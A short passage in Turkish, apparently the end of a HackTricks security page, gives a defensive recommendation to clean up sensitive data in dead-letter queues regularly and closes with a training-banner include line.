kullanın -5. **Regular Cleanup**: Hassas verilerin DLQ'larda süresiz birikmesine izin vermeyin - -{{#include ../../../banners/hacktricks-training.md}}